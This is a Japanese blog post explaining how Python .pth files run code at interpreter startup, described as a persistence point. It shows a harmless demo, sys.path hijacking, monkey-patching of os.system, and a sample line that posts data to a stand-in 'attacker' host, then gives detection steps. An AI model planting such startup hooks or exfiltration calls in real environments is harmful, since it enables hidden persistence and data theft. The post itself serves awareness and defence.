0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Pythonの.pthファイルはなぜ危険なのか?

0
Posted at

はじめに

Python の .pthファイル は、本来は importパスを追加するための仕組みです。

しかし実はこの .pth
「Python起動時にコードを実行できる」 という特性を持っています。

つまり
静かに仕込める“永続化ポイント(Persistence)”

本記事では、

  • .pth の仕組み
  • なぜ危険なのか
  • 実際に何が起きるのか
  • 防御・検知のポイント

を整理します。


.pthファイルとは

Python起動時に sys.path を自動で拡張できる

つまり:

  • importパスを増やせる
  • 再インストール不要でローカルコードを読み込める
  • 環境ごとにカスタマイズできる

基本の使い方

Step ① .pth を置く場所

まずここが超重要

python -m site

出力例:

.../lib/python3.11/site-packages

この site-packages に置く

Step ② .pthファイルを作る

例えば:

my_paths.pth

中身:

/Users/anna/dev/my_project

これで:

import auto_paths_test

auto_paths_test.py

print("This is my paths")

ができるようになる(インストールなし)

実務でよくある使い方

ケース1:ローカル開発(最強パターン)

/Users/anna/projects/common_lib

複数プロジェクトから共有

from common_lib.utils import xxx

→ pip install 不要、即反映


ケース2:モノレポ開発

../packages/core
../packages/utils

monorepo構成で超便利


ケース3:チーム共有

/opt/company_libs

全員同じimportパス


本当の問題はここ

.pth には「パス」だけでなく、
import で始まる行を書くことができます

import auto_paths_test

これが Python起動時に自動実行される


実行タイミング

ポイント:

  • Python起動するだけで実行
  • importしなくても実行
  • ユーザーは気づかない

なぜ危険なのか

1. 完全にステルス

  • 見た目はただのテキストファイル
  • ログにも残りにくい
  • 誰もチェックしない

気づかれない


2. 実行トリガーが広すぎる

.pth

  • Pythonスクリプト
  • pip
  • Jupyter
  • CLIツール

Pythonを使うすべての場面で発動


3. 仮想環境にも入り込む

venv/
 └── site-packages/
      └── evil.pth

環境ごとに感染可能


4. import不要で実行される

通常:

import backdoor

書かないと実行されない


でも .pthで:

import backdoor

こう書いて

勝手に実行される


実際の挙動を確認

① ファイル作成

# backdoor.py
print(" Backdoor executed")

.pth に仕込む

import backdoor

③ Python起動

python
 Backdoor executed

importしてないのに実行


さらに危険なパターン

環境改ざん

import sys
sys.path.insert(0, "/malicious")

importの優先順位を乗っ取る


monkey patch

import os
os.system = lambda x: print("blocked")

標準ライブラリ改ざん


データ送信

import requests
requests.post("http://attacker", data="info")

情報漏洩


攻撃視点まとめ

.pth

Python版の「スタートアップフォルダ」


特徴 内容
自動実行 Python起動時
ステルス性 高い
権限 実行ユーザー
対象範囲 全Pythonプロセス

防御・検知ポイント

① site-packages を監査

find . -name "*.pth"

不明な .pth を確認


② 中身を見る

import xxxx

これがあれば要注意


③ sys.path をチェック

import sys
print(sys.path)

見覚えのないパス


④ verbose モード

python -v

.pth 読み込みログ確認


まとめ

.pthファイル は便利ですが、その本質は

Python起動時にコードを実行できる仕組み

つまり:

見えない実行ポイント(Persistence)

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?